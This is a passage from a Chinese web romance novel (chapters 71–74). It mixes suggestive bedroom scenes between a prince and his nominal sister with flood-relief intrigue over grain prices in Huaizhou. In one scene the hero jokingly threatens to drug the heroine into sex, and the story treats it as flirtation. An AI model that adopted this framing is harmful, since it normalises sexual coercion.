“怎么,如今我提出来了,你却又想赖账?” “皇妹,”他伸手撩开她散落的鬓发,似笑非笑道:“你不会是不敢吧?” 70-80 第71章 第71章一般颜嘉柔敢说这种话,…… 颜嘉柔心突地一跳。 萧彻显然是在激她。 他知道她最受不得激。 若换成是旁的事,她还真会就此应下,可偏偏是这件事。 一月之期还未到,她不想这么快就和萧彻发生什么。 一旦和萧彻试过,手臂上的朱砂消退,可就再也没有回头路了。 她从来就是瞻前顾后,犹犹豫豫的性子,凡是都喜欢给自己留条退路,在感情上亦是如此。 对上这件事,激将法对她也无用。 算了,没胆子就没胆子吧,她想,萧彻果然还是不会在口头上让她占一点便宜! 她垂下眼睫,轻轻颤了颤:“你赢了,我……我确实是不敢……” “呵,”萧彻烦躁地吐出一口气:“我就知道。” “没用的东西。” “不敢?不敢你招惹我做什么?” “颜嘉柔,你从小就是焉坏。” 颜嘉柔:“……什么嘛,不过是暂时拒绝了你,至于这么生气么。这关小时候什么事……不过是小婴儿时期在你身上尿了几回,我又不是故意的……” 萧彻冷嗤一声,也不再理她,起身往回走,拿了几本从都水监那里要来的水利书籍,便折返回来,靠坐在床头翻阅,再不看她一眼。 一时两人无话,房间内寂静无声,落针可闻,只余偶尔响起的书卷翻动声。 颜嘉柔躺在萧彻的旁边,颊肉被床褥挤得往外溢了出来,显得她的脸更肉了,她双手托着自己的小脸,抬头一瞬不瞬地看着他。 看了一会儿,得出两个结论。 一:他真好看。 每一个角度都好看得让人心惊。连这种仰视的刁钻角度都不例外。好看到看一辈子都不会腻。 二:他好像又生气了。╮(╯▽╰)╭ 大约是她因为怪病的原因时常有求于他,所以一旦他生气不理她,她本能地会感到有些不安,急于想将他哄好。 她确实也这么做了。 她哄他的手段,一向不怎么高明,无非是在骑坐在他身上,赖在他怀里,脸颊轻轻蹭着他,不断地说着:“哥哥,别生气了……” “我好喜欢你……” “我最喜欢你了……” “我亲亲你好不好……” 说着,便胡乱地往他脸上亲和蹭。 这种讨好人的方式虽然不高明,可偏偏萧彻就吃这一套。 不过一会儿,他的唇角便压制不住往上翘了。 他捏过她的后颈,将手脚并用,牢牢缠在他身上的小兔拎开,斜扫了她一眼:“怎么,又想骗血了?” 他记得今天在马车上小兔最后没取血。 过了这么久,该是想要了。 颜嘉柔闻言,下意识地舔了舔嘴唇,不过很快就绷紧了一张小脸,煞有介事地道:“不,不是为了骗血。” 她道:“我以后,不会像以前那样毫无节制了,我会等真的忍受不了了,再向你取血。” 萧彻笑了下,声线懒散:“为什么?我又没说不给,你忍着干什么。” 颜嘉柔却忽然双手捧过他的脸,极为认真地道:“因为你会受伤啊,你会疼,会流血,我不想这样。” 萧彻怔了下,随即扯了唇角,半开玩笑地道:“怎么,心疼啊?” 原本不过是一句掩饰的玩笑话,没想到颜嘉柔会真的回答:“是,我会心疼。” 那样真挚纯粹的眼神,半分不似作伪。 萧彻喉结滚动了下,一颗心脏像是浸泡在温暖的潮水中,一阵阵的发胀酸软,为了不让她看出异样,他只微微低下头,用一种漫不在乎的口吻道:“看不出来,让我上一次都不肯,”他道:“我都快忍疯了。” 颜嘉柔咬着嘴唇,小声嗔怪道:“你为什么又说那个,能不能正经一点……” 萧彻到底还是抬头看向她:“是因为我这两天脸色不好么。” 他偏过了头,声音有些沉闷:“我说了,不关你的事,是我自己心甘情愿的。” “我知道……”颜嘉柔双手攀附上他的肩颈,将下巴枕咋他的肩上,他的肩很宽,怎么靠都舒服。 这般过了好一会儿,才道:“萧彻,如果可以,我还是想把那个怪病治好。” 萧彻随口道:“怎么,想把怪病治好,之后我就没了利用价值,你就可以一脚把我踢开了是吧?” “不是,”颜嘉柔忽然稍稍退开些许,看着他,正色道:“只要治好了怪病,你就不用再为我取血了。” 小姑娘目光真挚,一双漂亮娇妩的美眸里,此刻满满当当装着对她的关心和心疼。 这样的话,她方才已经说过一遍了。 一而再地提起,让他意识到她确然是出自真心。 她对他,竟是有几分真心的。 很奇妙的感受,你万般珍视、真心相待之人,原以为她对自己不过几分浅薄的喜欢,到底年纪小,又是从小被宠坏了的,又娇又作,岂会为旁人考虑? 却原来也不尽然,她待他,竟也有几分他奢求的真心,这怎么不算一种意外之喜? 胸腔浸满了欢喜,萧彻的一颗心瞬间柔软得一塌糊涂:“傻子,我不需要你为我考虑。” “颜颜,”他捏过她的后颈,将她按至身前,与她额头相抵,轻叹道:“我没有什么,是不能给你的。” 颜嘉柔嬉笑着道:“哪怕是命?” 萧彻轻挑地抬起她的下巴,闻言笑了一声:“你若想要,尽可拿去。” “不过,兰陵人的性命,可不是那么好取的。” 颜嘉柔眨了眨眼,歪着脑袋问他:“什么意思?” “兰陵人愈合能力很强,寻常的刀伤剑伤轻易要不了他们的性命,若想一击致命,便得直取命门。不过,兰陵人的命门,一向都是个秘密。” 他看着她:“你想知道么?” 颜嘉柔下意识地点了点头,等反应过来后,又立刻摇了摇头。 萧彻便笑了:“到底是想还是不 想?” “有关于你的秘密,我当然好奇啦。不过既然事关你的性命,我觉得还是少一个人知道比较好。” 萧彻闻言略一抬眉,唇边浮着一点笑意:“是不是怕一旦我死了,你就要守寡了,嗯?” 颜嘉柔立刻伸手去捂他的嘴:“你胡说什么呢……什么死不死的,这样的话,可不能乱说……” 说着像是为了报复他的口无遮拦,她轻哼一声道:“我才不会守寡呢,我们又没有成婚,我大可以转头找……” 萧彻眸色倏地变深,那尚未说出口的话,便被他吞入了腹中。 一般颜嘉柔敢说这种话,那就是她欠亲了。 再怎么不乖,亲一顿也就老实了。 又是带有惩戒意味的吻,一吻结束,萧彻神情便添了几分餍足,通常情况下他这个时候气也消了,而她因为再也没什么力气说话,自然没办法再惹他生气,也就被迫显得格外乖顺。 萧彻慵懒闲散地靠坐在床头,一手随意揉着她的脑袋,另一只手执着一本书。 颜嘉柔侧身看着他,他的皮肤冷白,像是初冬下的第一场新雪,凡是裸//。露在外的皮肤,无一处不是如此。 唯有那凸出来的一截喉结,情动时泛着淡淡的粉色,便有一种格外撩人的性感。 颜嘉柔取血时便喜欢舔吻触碰他的喉结,不知道为什么,她下意识地觉得这是他颈上最脆弱的部位,她每次碰他这里他都会格外敏//。感。 身体瞬间绷紧,一动也不动。 仿佛含住了这里就相当于掌握了他的命脉。 她鲜少有能拿捏他的时候,因此在这种时刻,便有一种隐秘的得意和兴奋。 而且他的喉结本来就大,又很容易染上薄粉,便更显突兀。 实在很难不让人将视线放到上面,甚至忍不住伸手去触碰,想要探究到底为什么这么粉,这么大,毕竟是自己没有的东西,总归存了几分好奇。 这时便又忍不住伸手去触摸,为了防止他误会,她解释道:“我不取血……” 她道:“我只是摸摸它……” 萧彻转头看了她一眼,欲言又止:“说到血,早知你要跟我出来,我便不必……倒是白白浪费了我的那些……” “什么?“颜嘉柔听得云里雾里:“浪费了什么?” “没什么,”萧彻掀起唇角,漫不经心地睨了她一眼,语调懒散地道:“我怕说了,某人会更喜欢我——还是算了吧。” 语气颇有几分不以为意的随性不屑。 只他转头看她的那一眼,含着几分散漫地的笑意,蛊惑勾人,颜嘉柔怔怔地看着他,听见自己的声音响起道:“我更喜欢你,还不好么?” 萧彻便笑了。 “好什么?依靠恩情和怜悯换来的那点喜欢,跟乞讨有什么区别?这样的喜欢,我从来都不屑要。” 颜嘉柔愣了一下,有些怔然地看着他:“萧彻,我不明白……”她总觉得他话里有话,可是她太笨了,始终听不出来。 恩情和怜悯…… 萧彻待她有什么恩情?无非是取血一事,可相应的,她也早已偿还了报酬,他要亲她抱她,她也全都随他去。 她隐隐感觉萧彻所说的恩情,恐怕不止是取血之恩这么简单。 有什么念头如游丝一般闪现,但却怎么也抓不住,很快又消散在眼前。 颜嘉柔有些懊恼地抬手用掌根敲了敲脑袋:“我不知道……” 萧彻伸手掐了一把她的脸颊,不以为意地笑:“我早说了,你只是个什么都不知道的小傻子。” “我不是小傻子!”颜嘉柔气鼓鼓地骑在他身上,作势去掐他脖子:“你再说!” 萧彻配合地往后倒,像从前任何一次那般,笑看着她闹:“呃……有人谋杀亲夫了……” 颜嘉柔脸上浮起红晕,不知是羞是恼:“什么谋杀亲夫,你还乱说……” “乱说么,哦,不是谋杀亲夫,那就是……打情骂俏?来,夫人,再打得更重些,没被我喂饱么,就这点力气?” “你……我说不过你……总之萧闻祈天底下第一讨厌!” 他懒洋洋地看着她愈发鲜红欲滴的耳垂,笑得更放肆了。 她很快便意识到这样的打闹对萧彻起不到一点作用,要想他难受,只能换一种方法。 她看着他,眼珠子滴溜溜一转,掐着他脖子的手放松了力道,转而改为勾缠,随即便亲了上去。 萧彻挑眉,眼底闪过一丝兴味。 颜嘉柔的挑//。逗实在笨拙,吻甚至称得上是毫无章法,那么多的调//。情手段,他身体力行地教了她那么多遍,她却总也学不会。 依旧是像孩子般乱亲一气,在他的怀里一通乱拱,胡乱地蹭着他。 他在心底评判她的毫无长进,但身体却轻易地被他看不上眼的、不长进的挑//逗玩弄于股掌之间。 眼瞳里慢慢浮现深色纹路,他的呼吸变得粗重,揽过她细软的腰肢,重重地往身上按。 正要去回吻她时,她却忽然狡黠一笑,像一枚顺滑的泥鳅,从他的怀里钻了出来,早有预谋一般地往旁边一滚。 拽了被子往脑袋上蒙,嬉笑的声音从被子底下传出来,她道:“我困了,我要睡觉了!” 萧彻被气笑了:“你把我弄得不上不下,现在你跟我说你困了?” “就是困了!”她的声音被笼在薄被之下,略带了几分混沌沉闷,却依然听得出话语气十分得意:“因为我不是小傻子,我聪明着呢!” 萧彻挑了下眉。 小姑娘前后两句话毫无关联,看似前言不搭后语,他却却很快读明白了她的意思。 合着是记恨他说她傻,故意折磨他呢。 也就在如何折磨他这种事上,她能有几分小聪明! 他嗤了一声,毫不留情地伸手将她的被子拽下:“起来,帮我。” 两人力量悬殊,萧彻甚至根本不用花费什么力气,颜嘉柔便已经护不住她的被子了。 被子被扯落丢掉一边,没了遮掩,她的气势瞬间减弱了大半。 萧彻拍了拍她的脸,扯了唇角,笑得有几分邪:“快点啊。” 颜嘉柔眨了眨眼,把生平为数不多的几件伤心事反复回想了几遍,硬是挤出了几滴泪,可怜巴巴地看着他:“三哥,我真的好困,我要睡了……” 萧彻哪里会信,只冷笑了一声,道:“别装。” “真的……”小姑娘睡眼惺忪地揉了揉眼,假戏真做,这会儿真觉出几分困意来了。 原本便是一天的舟车劳顿,兼之又与萧彻厮混了一天,也是极耗费精力的,若是不困,那才奇怪呢。 方才与萧彻打闹勉强撑起了几分精神,这会儿人一沾床,倦意便立刻涌上来了。 她打了个哈欠,声音有一种困倦的娇懒,嘟哝道:“哥哥,累……” 萧彻看着她一脸的倦容,眉心折起。 他伸手摸了摸她的脸,将脸埋在了她的身前,好一会儿躁动才平息下来。 他压低了嗓音,颇有几分恶狠狠的意味:“今日暂且放过你,日后你且给我等着。” 颜嘉柔睡意朦胧地道:“好啊……我等着你呢……”分明是完全不以为意的语气。 萧彻掐过她的脸,虎口卡着她白腻的脸颊,眯起眼眸:“怎么,笃定我不敢对你如何?” “那你最好祈祷你别再染上什么奇怪的病症,抑或是中了什么蛊,什么药,非得我帮你纾//。解方可,倘若有那么一天,”他拇指揉着 她嫣红的唇瓣,幽幽地道:“我一定干死你。” 话里分明含着危险,嘉柔却毫不在意,闻言只咯咯笑道:“三哥你真笨!我求你欺负我?我又不是傻子!你在说梦话吗?” “那种乱七八糟的药,我又不会自己去碰,怎么会接触到?旁人给我下药就更不可能啦,我不过是个冒牌公主,可有可无的一个人,谁会花心思在我身上?” “我会,”萧彻一口咬在了她的细嫩的颈侧,恨恨地道:“我给你下药,让你哭着求我c你。” “你不会的……”颜嘉柔睡意渐浓,声音也越来越小了下去:“你若是这样的人,你早就那么做了……” 她说着翻身环住他的腰身,将脸枕靠在他的胸膛,黏黏糊糊地道:“不和你说话了,三哥,我真的困了……我要睡了……” 柔软的娇躯紧紧贴了上来,刚刚平息下的燥意又起来了几分,萧彻喉结滚动,闭眼深深做了几个吐血,用手推了推她的肩膀,蹙眉道:“离我远点。” “不要嘛,”她越发娇缠了上来:“我要抱着你才有安全感,不然在陌生的地方我会睡不着……” 萧彻被她缠得没脾气了,哼笑了声,哑声道:“胆子真大,跟我睡一块,还非要抱着我睡,就不怕等你睡着了我对你做点什么?到时候可别给我哭,全是你自找的,简直不知死活。” “哥哥,你好吵……”颜嘉柔有些不满地嘟囔了一句,小手摸索着碰到了他的唇,估摸着位置,之后便仰起脑袋闭眼亲了上去,含糊不清地道:“我要堵住你的嘴……” 萧彻慢慢睁大了眼睛。 小兔主动亲人,可实在少见。 正当他打算好好享受时,那两瓣柔软的唇却只蜻蜓点水般地碰了他一下,之后便离开了。 萧彻:“?” 萧彻皱眉望去,只见小姑娘呼吸均匀绵长,白腻的脸颊泛着淡淡的红晕,唇瓣微张,竟是已经睡着了。 萧彻:“…………” 他简直被她气笑了。 整个大魏,大约再没有人会比她懂得如何折磨他了。 挺好的,若他是阶下囚,派小兔来审她,用不了多久他肯定什么都招了。 她的手段,于他而言,不啻于任何一种酷刑。 十足的缺德。 不过话又说回来,阶下之囚,在她面前,他不早就已经是了么? 为她画地为牢,为她俯首称臣。 他的生杀予夺,从来只在她的一念之间。 他自嘲地笑了下。 手背轻轻摩挲着她的脸颊,见她睡得这般香甜,十足十的没心没肺,便忽然生了恼恨,不轻不重地掐了她一下:“坏胚子,” 他埋在她的身前,声音有些沉闷,又有些恨恨地道:“你不过就是仗着我喜欢你……” 睡梦中的颜嘉柔不舒服地嘤咛了一声。 他立刻松开了手,轻揉了方才被他掐过的地方,带有安抚意味地轻吻了一下她的额头,到底还是哄着她道:“好了,宝宝,睡吧。” 第72章 第72章淮州的情况比萧彻想象得…… 在经过连续几日的赶路,他们一行人终于抵达了淮州。 淮州的情况比萧彻想象得还要棘手。 他们此行的主要目的便是筹措灾银,用来购粮和修堤,可很显然,要想从那些豪绅富户口袋中挖出钱来,比登天还难。 大厅内,萧衍快速地翻着手中的认捐簿,越翻脸越绿,终于怒不可遏地将手中的账簿往地上一扔,破口大骂道: “就这点银子,你们也好意思拿出来?!你们捐了银,本王为表谢意还得宴请你们,捐的这点钱够设宴的吗,怕是还要本王倒贴,那还捐个屁啊捐!” 底下围坐着一圈豪绅富户,这时都面面相觑,脸上难免有些挂不住。 这时却听一声极细微的“啪嗒”声,萧彻将茶盏搁置在桌上,微微侧转过身去,好整以暇地看着他,笑意懒洋洋的:“二哥,何必动这么大的气呢?” 萧衍转头看了他一眼,语气才算是和缓了点:“三弟,你倒是说说,他们办的这是人事吗?他们都是淮州叫的上名的豪绅富商,几代下来,家底厚,庄子商铺也多,难道钱会少?结果他们就捐这么点?传出去也不怕人笑掉大牙!” 说着转头指了其中一个豪绅,冷哼一声道:“崔老爷,本王要是没记错的话,昨天本王在万花楼遇见的那个崔润,崔泽之,正是你的爱子吧?” 崔璋闻言连忙起身拱手回话道:“草民惶恐,泽之正是草民犬子。” 萧衍便冷笑一声:“那就是了,他昨晚还差点跟本王抢起花魁,万花楼的花遥姑娘,一夜可值千金,怎么,你儿子有钱狎妓,你却没钱捐银?” 崔璋忙道:“犬子一向荒唐,不知天高地厚,草民疏于管教,实在有愧,王爷息怒,我回去一定好好管束。” 萧衍冷哼一声,正欲发作,萧彻却收了手中的乌骨折扇,扇柄往他肩上一压,笑微微道:“二哥,稍安勿躁。” 萧衍微微一愣,只见萧彻转身朝众人扫视了一圈,道:“诸位此次捐银,无论多少,都是心意,我和二殿下心中感激,二殿下也是心系灾民,还请诸位勿怪。我想世道艰难,诸位必然也是有各自的难处。” 这话相当于是给台阶下了,那些豪绅富商自然是顺竿往上爬:“多谢三殿**恤……” “如今世道艰难,钱实在不好挣呐……” “可不是,生意越来越难做,连年亏损,再大的家业也经不住这般亏空,不过是外表看着光鲜罢了……” “我府上还有不少外债呢,实在是没什么钱了……” “是啊,如今发了水患,粮食短缺,周边的州县,哪个不是哄抬粮价,我也只敢略涨一成,哪还有的赚?” 萧彻闻言略一挑眉,只道:“那为何不多涨几成呢?” “这………” 众位商户面面相觑,萧彻这一句话,可属实是把他们给整不会了。 他们不是过来赈灾的么?本来就没有钱购买粮食,才想法子让他们捐银,这粮价一涨,灾民岂不是更喝不上粥了? 这么想着,几人尽皆面色狐疑地望向他。 萧彻却问:“邻县粮价几何?” “回禀三殿下,原是一百文一斗,现已涨到一百二十文一斗,不过官府出示公告,限制粮食售价,怕是不久就要回落了。” 萧彻:“是么,那你们便涨到一百五十文一斗好了。” 众人一时都呆住了,从来只闻官府限制粮食售价,不让随意涨价,倒第一次听说有从朝廷派来的皇子主动要求涨价的:“殿下,这……” 萧彻便笑起来:“不是说只涨一成赚不到钱,如今我涨五成,难道胡老板不开心?” 胡奉是当地最大的粮商,无奸不商,他自然巴不得好好发这笔国难财,涨得越多越好,只是这朝廷主张涨价,闻所未闻,他只恐其中有诈:“殿下莫不是在拿小的开玩笑吧?” “胡老板不信?我明日便让知府张贴公告,并沿江大肆宣传,朝廷会以一百五十文一斗的价格收购粮食,此事绝不会有假。” 萧衍眉毛一跳,脸部肌肉微微抽动,终于忍不住转头望向萧彻,压低声音道:“三弟,你……你这是唱的哪出?” 萧彻只抬手端起茶盏,浅啜了一口道:“二哥难道不信我?” “我怎会不信你?只是……哎,算了,你总是有主意的,我也总是信你的,随你就是。” 萧彻:“诸位也听见了,二殿下亦无意见,此事便就这么说定了。” 此话一出,那自然绝对不是玩笑了,那胡奉两眼放光,立刻跪下磕头谢恩,身后几名粮商也是感恩戴德:“多谢殿**恤小的,小的必不忘殿下大恩,日后一定不忘孝敬您!” 萧彻只淡笑道:“言重了,诸位记得今日说过的话就好。” 几位商户闻言, 便又是心照不宣一笑:“自然,自然,殿下大恩,没齿难忘。” 几位年近半百的中年男子对着一名二十岁的青年说“孝敬”二字,在某种意义上不免有些讽刺。 说是孝敬,不过行贿罢了。 这位长得好似神仙人物一般的三殿下,原也是个不能免俗的人。 也是,天下熙熙皆为利来,世人哪有不爱财的。 这大约也是他们此刻能想到他这么做的唯一理由。 而萧彻的反应,也恰好印证了他们的猜想。 在巨大的利益诱惑面前,人们总是会倾向于相信他们愿意相信的,而刻意不去深究个中不寻常之处,譬如此时,那几位商户已完全对萧彻的动机深信不疑了。 —— 众人走后,萧衍到底还是忍不住问萧彻道:“三弟,你究竟是怎么想的?” “那帮铁公鸡,死活拔不下来一根毛,你不帮我想法子让他们好看,还帮着他们涨价,这不正中了他们下怀吗?” “你是没看到他们走时的那副得意的嘴脸,简直没把我气死,不是,凭什么啊,我们舟车劳顿,千里迢迢赶来筹银,不过让他们捐点钱,结果他们一个个富得流油,每个人折合下来,连半两银子都没捐,搁这羞辱谁呢?” “这是赤//。裸裸打我们的脸啊,他们都这么不要脸了,三弟,你凭什么还让他们这么高兴?” “国库一时周转不过来,所以我们才要来筹银购粮,三弟,父皇拨给我们的那些银子,原本就不够购粮和修堤,如今粮价上涨,可购的粮食便更少了,这灾还怎么赈啊,你到底怎么想的?” 萧彻在一旁一言不发,直到他停下不说了,他才抬头看了他一眼:“说完了?” 萧衍不明所以,点了点头:“说完了。” 萧彻便将萧衍面前的那盏茶又推过去些许:“说完了就喝口茶润润喉吧,二哥,一口气说了这么多,你口不干么?” “三弟!我是说正经的。” “二哥,我说了,稍安勿躁。” “鱼儿才刚刚咬饵,你又急什么。” 萧彻只淡淡笑了一下:“静观其变就是。” “等用父皇拨给我们的三十万两购了粮,我会在淮州新设六个粥棚,” “二哥若实在心焦,”萧彻搁置在桌上的手指轻轻敲了敲:“届时不如少去几趟万花楼,帮我一块去施粥吧。” 萧衍一听不说话了,他没萧彻那么能忍,一日都离不得女人,且爱新鲜,身边带着的两个虽然够骚,可这玩了一路也早就玩腻了。 好不容易如今找到了一处万花楼,里头有不少美人,尤其是那个花遥,美艳不可方物,一颦一笑俱是风情,让他日日魂牵梦萦,如今萧彻不让他去,这不是是要他的命吗。 且来领救济粥的灾民大都灰头土脸,脏兮兮的,他放着香软美人不碰,去跟那些人混一块做什么。 这种事,交给底下的人去办不就是了,他一个皇子,去凑什么热闹。 萧衍咳嗽了声,伸手摸了摸鼻子,正想找个借口推掉,余光却忽然瞟到门口一道藕粉色的身影。 颜嘉柔正倚靠在门框上,探头探脑地露出半张脸,乌黑漂亮的眼睛一眨不眨地望着萧彻,一副犹犹豫豫、要进不进的样子。 萧衍挑了眉,心说正愁不知道说点别的什么将这件事糊弄过去,正巧小嘉柔来了,这不是现成的话题? 他于是立刻把话扯了开去,朝萧彻挤眉弄眼了一番,意味深长地笑:“三弟,你的小皇妹来了,正巴巴地看着你呢。” 萧彻闻挑了下眉,闻言转过脸去,正好与颜嘉柔对上了视线。 四目相对,颜嘉柔这下无所遁形,面上染上红晕,有一种被抓包的心虚和难为情。 人家都已经看见她了,她也无所谓躲躲藏藏,便只能硬着头皮从门框后走了出来,低着头,手指绞在一处,一步步走到萧彻身边,小声地道:“三哥,你们议完事了吗?我看到他们都走了……” 萧彻抬头看了她一眼,小姑娘一双黑白分明的眸子正巴巴地看着他,他们一走,她便过来,倒像是一直留意着这里的动静似得。 正是用午膳的时候,不乖乖地去用膳,反而过来这里留意他们的动静,小公主这又是唱的哪出? 第73章 第73章“颜颜,你很不乖,我很…… 萧彻略挑了眉,将人一把拽了过来,让她坐在他的腿上,大手拢住她的一双手,随意地把玩着她的手指,问道:“用过午膳了吗,吃了什么,嗯?” 果然听到她道:“还没用膳……一个人好无聊,没胃口,我想你陪我一块儿……” 他将下颌搁置在她的颈窝,轻叹了口气道:“颜颜,我有没有告诉过你,我此行是有正事,不是来游山玩水的,不可能一直陪着你。” 颜嘉柔有些无措:“我没有一直缠着你呀……” “那为什么不乖乖用膳,等我做什么?” “我……可是你再忙,不也是要用膳的么?那和我一起又没有耽误你什么……” 她扭过头去看他,有些着急地解释道:“我是等他们走了才过来的啊,我以为他们走了你就不忙了,我又没有打搅你们……” “那倘若我还要半个时辰才议完事,你也要一直等着我么?” “那又怎么了,我又不饿!” “那又怎么了?”萧彻淡道:“颜颜,你很不乖,我很不高兴。” 颜嘉柔一下子就哭了。 她觉得她好委屈,她哪里有不乖,她从来知道国事最重要,这些日子她身子不适,也都是强忍着不去找他,唯恐耽误他的正事,如今只是想一起和他吃一顿饭,难道这也有错吗? 连一旁的萧衍都看不下去了,皱眉道:“三弟,你怎么回事,有你这么跟妹妹说话的吗?” 对于颜嘉柔,他和萧珏一向是哄着的。 从小哄到大,哪舍得说过一句重话? 结果今天萧彻一言不合就把她说哭了。 他能看得下去吗? 要说他三弟,对付女人向来很有一套,旁人或许不知,可他却是见识过的,前些年北平二司贪墨一案,魏熙帝派他去查,他起先毫无头绪,后来发现二司之一的李全频繁出入一座花楼,便拉着萧彻去那里调查线索。 李全在花楼有一位相识多年的红颜,叫做苏婉,听说两人感情甚笃,不过李全惧内,这才没接进府中或养做外室。 萧衍在花楼有不少相好,打听到李全这些年在苏婉身上花了不少钱,就连平时送的珠宝首饰,听说也都是些稀罕物件,价值不菲,不像是他的俸禄能够买得起的。 听说苏婉有记账的习惯,萧衍琢磨着这些年李全送她的物件,既是价值连城,都该是记了账,未免打草惊蛇,他也曾尝试接近苏婉,旁敲侧击,却始终一无所获。 苏婉既不是涉世未深的少女,也不是个愚昧妇人,相反心思慧诘,轻易瞒哄不了。 他原本以为从她那里入手无望,直到那日萧彻将一本账本交给他,他翻开一看,上面记着的,正是苏婉这些年从李全那里所得的账目,这个数额,足以成为日后将李全定罪的有力证据。 没有人知道萧彻是怎么让苏婉心甘情愿地交出账本。 但后来萧衍听说,苏婉交出的,不止是那本账本,还有她的那颗心。 他那时便知道,他的这位三弟,对付女人确实有一套。 只要他想,几乎无往不利。 这就导致他一直百思不得其解,他明明喜欢颜嘉柔,只要略施手段,便可得偿所愿,这些年是怎么和她闹到水火不容的地步的? 直到今天亲眼所见,才知道是怎么回事,不是,他就这么跟心爱的女人说话啊? 就不能说些好听的? 他不是最会了吗,怎么一到了颜嘉柔这里,就全然不是那副样子了? “好了,不哭了,”萧彻也意识到方才 语气强硬了些,抬手揉了揉她的脸颊,嗓音也放软了: “我只是想你好好吃饭,你自己想想,自从离宫之后,你有一天是乖乖按时吃饭的吗?” “这里不比宫里,宫里有映雪她们伺候你用膳,可在外面,不能每次只有我哄着你,你才吃饭,毕竟我不可能一直陪着你,我此行有别的事要忙,所以你要学会自己乖乖按时吃饭,知道吗?” 小姑娘并不买账,偏过脸去:“哼,不想理你。” 她小声嘟囔道:“我又不是小孩子,我怎么会不知道用膳,我只是……只是想让你和我一起吃点东西罢了……” 她的情绪依旧很低落,嗓音带着哭腔,有些轻微的沙哑。 跟颜嘉柔待久了,萧彻也已经摸清她的脾气了,又娇又作,脑袋不是很聪明,但很善良,虽然记仇,但没有什么坏心眼,也不是不讲道理,只是需要人哄着,好好地跟她讲道理,且吃软不吃硬。 通常这种情况,如果不逗她一下转移注意力,她能沉浸地作半天,哼哼唧唧,一副别人多对不起她的样子。 他勾起唇角,伏在她耳侧,用一种只有他们两个听得到的声音,语调暧//。昧地道:“没说不陪你吃饭,只是,我现在想吃点别的……” 他侧过身,完全笼住她的身形,确保二人的动作不会被发现,大手这才慢慢地拢上她凶前的浑原,声音依旧压得很低,哑声道:“宝宝,想吃这个……” “啊,萧彻,你……”颜嘉柔忍不住娇呼了声,一张小脸立刻染上了胭脂色,一时连哭都忘记了,低着头,小声地道:“萧闻祈,别,二哥在呢……” 萧彻笑了下:“不给么,那算了。”说完便很快放下了手。 转而拍了拍她的屁股:“乖,起来,我有事要出去一趟,让你二哥陪你吃饭。” 正在低头喝茶的萧衍闻言猛地抬起了头,险些没被呛到:“不是,你去哪儿?把你妹妹丢给我?三弟,你这样可不厚道啊你。” 他是喜欢漂亮女人没错,可不喜欢漂亮妹妹,他只把颜嘉柔当妹妹,妹妹多烦人啊,动不动就哭,跟个孩子有什么区别,他可不想帮萧彻带孩子。 萧彻乜了他一眼,闲闲地道:“奇怪了,她难道不是你妹妹?” 萧衍一噎,一时想不到反驳的话,只好低头灌茶。 颜嘉柔懵懵懂懂地被萧彻扶着站了起来,见他要走,连忙拉住了他的袖口,扭扭捏捏地道:“我……我又没说不给你……” 萧彻挑眉,笑容别有深意地看向她,眼睁睁地看着小兔的耳垂在他的注视下慢慢变得透血似得红。 的确诱人。 可惜他现在实在没什么功夫。 他捏了捏她的脸:“乖了,下次一定。”又转头看向萧衍,叮嘱道:“二哥,督着她先吃饭,别一上来就吃甜食,那些甜腻的糕点最多只能吃一块,否则回头又该闹牙疼了。” 萧衍听了直翻白眼,心说小孩真不好带,他这是把他当老妈子使呢,他摆了摆手,敷衍道:“知道了,知道了……” 萧彻叮嘱完后就走了。 只留下萧衍跟颜嘉柔大眼瞪小眼。 萧衍:“…………” 他总感觉他的这位皇妹自萧彻走后便对他十分有意见,一脸幽怨地看着他,那眼神,像是在说他怎么不去,什么事都让萧彻去做,所以他才这么忙,连吃饭的时间都没有,没得把他累坏了。 萧衍张了张嘴,赶忙解释道:“不是,他那是瞎忙,这许多事情,哪用我们亲自经手,那底下的人是干什么吃的?就他一天天的都不知道在忙些什么。” 颜嘉柔双手托腮,若有所思地道:“可是他看上去好忙,我想去帮他,也算是替灾民尽一些绵薄之力,二哥,你说我去粥棚帮三哥施粥好么?” “可别,你一个白白软软香香的小公主,去跟那帮臭烘烘的难民凑什么热闹,乖,咱们不去啊。你乖乖吃饭,就是帮了你三哥的大忙了。” 颜嘉柔蹙眉看了他一眼,她一点儿都不认同萧衍的话,话不投机半句多,也就懒得再跟他说话。 萧衍哄着她去吃饭,没有萧彻陪着,她没什么胃口,萧衍问她为何迟迟不动筷,她随手指了面前的一碟虾,娇里娇气地道:“二哥,那我就吃这个吧。” 萧衍:“?” 他一脸迷惑地看着她,心说那你倒是吃啊,跟他说什么? 颜嘉柔好心地提点他:“二哥,你要给我剥虾哦。” 萧衍:“…………?” “不是,合着萧彻还亲自给你剥虾啊?” 颜嘉柔歪着脑袋看向他,有些困惑地眨了眨眼,理所当然地道:“这不是最基本的么?” 颜嘉柔天真无邪地道:“哥哥本来就要照顾妹妹啊。反正二哥你也闲得很,不是么?如果二哥要去忙正事的话,嘉柔就不用你剥虾了哦。” 萧衍忍不住在心里把萧彻骂了八百遍,一边认命地动手给她剥虾。 他长这么大,还是第一次动手给女人剥虾,啧,女人就是麻烦,不过谁叫她是他妹妹呢,萧彻有一句话说得对,颜嘉柔也是他妹妹啊。 萧彻能做的,他自然也应该为她做,这本来无可厚非,不过他怎么越想越不对呢……坏了,他跟萧彻能一样吗?! 颜嘉柔那不光是他名义上的妹妹,更是他床榻上的情妹妹!只有他将她当做了亲妹妹! 这亲妹妹和情妹妹能一样吗? 既将人哄骗到了床上,这做的,合该就比他这个单纯的兄长多,怎可混为一谈呢?什么叫做“她不也是你的妹妹?”,这能一样吗! 他看着一桌的虾壳,忍不住两眼一黑,怎么就被他骗来给他的小祖宗剥虾了呢? 这又不是他祖宗! 嘿,又着了萧彻那小子的道! 第74章 第74章萧彻,你身上怎么有别的…… 淮州下分五个县,其中以淮县的灾情最为严重。 淮县的知县何昭,如果萧彻没记错的话,此人跟萧珏的母族沾亲带故,似乎是先皇后崔婉清母族的姻亲旁支。 崔婉清的母亲本就是上不得台面的小门小户,在崔府的地位比外室好不了多少,崔婉卿后来能当上皇后,也全靠她的算计与谋划,母族于她而言,非但毫无托举之力,反而是个负累。 母族尚且如此,她的旁支更是个不成器的破落户。 不过破落户里倒也出了个进士,虽是个七品官,但好歹也是个地方父母官。这些年他借着与崔婉卿的那一层八竿子打不着的姻亲关系,没少向萧珏献殷勤。 崔婉卿是向着萧珏的,两个儿子中她偏爱长子,魏熙帝已经不喜长子了,她这个做母亲的自然更怜惜他一些。 